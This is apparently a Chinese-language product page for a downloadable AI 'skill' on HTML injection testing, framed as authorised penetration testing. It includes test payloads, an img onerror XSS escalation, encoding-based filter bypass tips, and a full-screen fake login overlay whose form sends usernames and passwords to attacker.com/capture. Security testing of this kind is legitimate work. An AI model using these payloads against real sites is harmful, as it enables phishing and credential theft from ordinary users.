如何利用 AI 进行 HTML 注入漏洞检测与测试
本技能旨在帮助安全研究员快速识别 Web 应用中未对用户输入进行正确过滤的 HTML 注入点,通过构建特定 Payload 实现从简单的页面篡改到复杂的钓鱼凭据窃取攻击。
为什么需要这个技能
HTML 注入发生在应用程序将用户输入直接反映在页面上而未经过滤时。虽然它不像 XSS(跨站脚本攻击)那样能直接执行 JavaScript 代码,但其危害依然巨大。
攻击者可以通过 HTML 注入修改网站外观(篡改),创建伪造的登录表单(钓鱼),或通过注入恶意链接引导用户跳转。它是许多高级攻击的跳板,在很多环境下,HTML 注入是向 XSS 演进的中间步骤。
适用场景
- 授权安全审计:在对 Web 应用进行渗透测试时,寻找输入验证漏洞。
- 防御验证:测试 WAF 或输入过滤机制是否能有效拦截 HTML 标签。
- 钓鱼模拟:在受控环境下演示如何通过注入伪造表单来窃取用户信息。
- 漏洞报告:为开发团队提供可复现的注入证明(PoC)及修复建议。
核心工作流
1. 寻找注入点
重点扫描所有用户可控且会在页面上显示的输入源:
- 搜索栏及结果页、评论区、用户个人资料字段。
- 联系表单、注册表单、URL 参数(如
?name=,?query=)。 - 错误提示信息、页面标题以及反射在页面上的 Cookie 值。
2. 基础验证测试
使用简单标签验证 HTML 是否被渲染。
<!-- 基础格式化测试 -->
<h1>Test Injection</h1>
<b style="color:red">Bold Red Text</b>
<!-- 链接与图像测试 -->
<a href="http://attacker.com">Click Here</a>
<img src="x" onerror="alert(1)"> <!-- 尝试升级为 XSS -->
3. 构建高级攻击载荷
- 存储型注入:将伪造登录表单写入数据库(如个人简介),让所有访问者看到。
- 钓鱼覆盖层:使用
position:fixed创建全屏遮罩,强制用户重新登录。 - 内容篡改:使用
<marquee>标签或 CSS 覆盖原始页面内容。
<!-- 伪造登录表单示例 -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<form action="http://attacker.com/capture" method="POST">
<input type="text" name="username" placeholder="Username"><br>
<input type="password" name="password" placeholder="Password"><br>
<input type="submit" value="Login">
</form>
</div>
4. 绕过与自动化
- 绕过策略:尝试大小写混淆(
<ScRiPt>)、URL 编码、双重编码或 Unicode 编码。 - 工具集成:利用 Burp Suite Intruder 配合 HTML 注入词典进行模糊测试,或编写 Python 脚本自动化检测响应体中是否包含原始 Payload。
下载和安装
下载 html-injection-testing 中文版 Skill ZIP
解压后将目录放入你的 AI 工具 skills 文件夹,重启工具后即可使用。具体路径参考内附的 USAGE.zh.md。
你可能还需要
暂无推荐